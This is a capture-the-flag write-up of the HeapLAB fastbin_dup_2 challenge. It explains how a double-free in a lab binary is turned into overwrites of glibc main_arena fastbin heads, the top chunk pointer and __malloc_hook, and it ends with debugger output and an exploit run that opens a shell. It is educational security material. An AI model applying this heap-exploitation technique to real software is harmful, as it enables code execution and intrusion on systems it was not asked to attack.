The fastbin dup 2

Linux heap exploitation pt. 1

Into

We'll first try to gain some experience with the challenge binary by simply running it. When Running it we get 3 options, malloc, free, quit.

```
ubuntu@ubuntu:~/Desktop/HeapLAB/challenge-fastbin_dup$ ./fastbin_dup_2

===============
|   HeapLAB   |  CHALLENGE: Fastbin Dup
===============

puts() @ 0x7f00b050caf0

1) malloc 0/13
2) free
3) quit
>
```

When decompiling it we can identify the very same bug we've encountered with in the former binary (fastbin_dup). A double free, allowing us to maliciously link an already freed chunk to a fastbin, thus controlling the fd pointer of it, allowing us to override an exploit beneficial pointers (ie. __malloc_hook).

```
    uVar1 = read_num();
    if (uVar1 != 2) break;
    printf("index: ");
    uVar1 = read_num();
    if (uVar1 < index) {
      free(m_array[uVar1]);
    }
    else {
      puts("invalid index");
    }
  }
  if (uVar1 == 3) break;
                  /* choose malloc */
  if (uVar1 == 1) {
    if (index < 0xd) {
      printf("size: ");
      uVar1 = read_num();
                  /* number of bytes is either smaller than 89 or between 105 to 120 */
      if ((uVar1 < 0x59) || ((0x68 < uVar1 && (uVar1 < 0x79)))) {
        pcVar2 = (char *)malloc(uVar1);
        m_array[index] = pcVar2;
        if (m_array[index] == (char *)0x0) {
          puts("request failed");
        }
        else {
          printf("data: ");
          read(0,m_array[index],uVar1);
          index = index + 1;
        }
      }
      else {
        puts("fast chunks only (excluding 0x70)");
      }
```

Although this time, we can not allocate a chunk just of any fastbin size. The program allows us to choose a size that is smaller than 89, or between 105 - 120. Thus, making it impossible to bypass the fake chunk size mitigation (chunks in a fastbin must have the same chunk size of the fastbin. For more information about it, refer to the former writeup - the fastbin dup).

Ideas

I have two ideas:

1. Exploit the double-free bug first. Allocate a normal chunk (of a different size - so that it will be served normally and not from the fastbin), bordering the top_chunk and use it's second quadword as a fake chunk size that is good for the abused fastbin. Use the double-freed chunk to override it's fd pointer with the location of the fake chunk member - 0x10 (simulate the start of a "valid" chunk, bypassing the size mitigation), allocate the fake chunk and override the top_chunk size. Allocate a huge chunk that will be

served from the top_chunk. This don't work because we don't know the location of the heap.

2. Find a valid size somewhere near by the __malloc_hook pointer. Exploit the double-free bug twice, once for the 0x80 fastbin. Another for some other fastbin, based on the valid size field we've found. Use the second double-free exploitation to form a valid chunk using the second quadword of the fake chunk and use the first double-free exploit to override the fd pointer with that location. Then keep doing so until we reach the __malloc_hook pointer. This doesn't work because there is not close enough location to the __malloc_hook/__free_hook pointer where we can find a valid size and we're limited with our allocation size and number allocations.

Next stop - main arena

Arena is the structure that manages the heap. It holds metadata for the heap. Among others metadata information, it holds the head pointers for each free list (bin) and the pointer for the top chunk. We can take advantage of this in order to exploit the double free bug twice - one time for making the head pointer of one of the fastbins to be a valid chunk size (say, 0x51). Let's call that pointer A. Then I'll exploit the double free bug for the second time to set the address of the head of the 0x50 fastbin to A. Thus, faking a valid 0x50 chunk. This will give us the primitive of overriding the top_chunk pointer with the address of just few bytes before the __malloc_hook.

The arena is represented by the malloc_state struct, and the relevant members are captured in the image below.

```
struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
```

The mfastbinsY is an array of singly linked lists that store free chunks from size 0x20 to 0xb0. We can see that the top_chunk ptr is laying right after, being a comfortable target for overriding. I'll use the use after free to set the head of the 0x78 fastbin to a valid chunk size of 0x51, and the other use after free will be exploited to create a fake chunk there, pointing the head of the 0x50 fastbin to the valid size value.

Trying to override the top_chunk pointer with an arbitrary pointer close to the __malloc_hook, we'll get the following crash:

```
if (__glibc_unlikely (size > av->system_mem))
  malloc_printerr ("malloc(): corrupted top size");
```

Malloc checks whether the top_chunk is of a valid size.

Fortunately, we can take advantage of the pointer ahead of the __malloc_hook, starting with the 0x7f byte, and set the top_chunk pointer to that address. This will result in the top_chunk size being 0x7f. Fortunately it is big enough to override the malloc hook. In the photo below is the overridden top_chunk pointer.

```
pwndbg> top_chunk
Top chunk
Addr: 0x7f4c49213b2d
Size: 0x7f
```

Now, new allocated chunks will be served from that location upward and I can allocate a new chunk to override the __malloc_hook pointer:

```
pwndbg> dq &__malloc_hook
00007f0ad5f99b50     00007f0ad5cc6fa1 0000000000000000
00007f0ad5f99b60     0000490000000000 0000000000000000
00007f0ad5f99b70     0000000000000000 0000000000000000
00007f0ad5f99b80     0000000000000000 0000000000000000
pwndbg> p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x7f0ad5cc6fa1 <exec_comm+1761>
pwndbg>
```

And get a shell:

```
ubuntu@ubuntu:~/Desktop/HeapLAB/challenge-fastbin_dup$ ./gain_shell_exploit.py
[*] '/home/ubuntu/Desktop/HeapLAB/challenge-fastbin_dup/fastbin_dup_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'../.glibc/glibc_2.30_no-tcache'
[*] '/home/ubuntu/Desktop/HeapLAB/.glibc/glibc_2.30_no-tcache/libc-2.30.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ubuntu/Desktop/HeapLAB/challenge-fastbin_dup/fastbin_dup_2': pid 36820
./gain_shell_exploit.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("puts() @ ")
[*] libc address: 139937800089600
[*] chunk number 1
[*] chunk number 2
/home/ubuntu/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://
docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] main arena: 0x7f45cf18bb60
[*] chunk number 3
[*] chunk number 4
[*] chunk number 5
[*] chunk number 6
[*] chunk number 7
[*] chunk number 8
[*] chunk number 9
[*] chunk number 10
[*] chunk number 11
[*] chunk number 12
[*] chunk number 13
[*] Switching to interactive mode
$ pwd
/home/ubuntu/Desktop/HeapLAB/challenge-fastbin_dup
$
```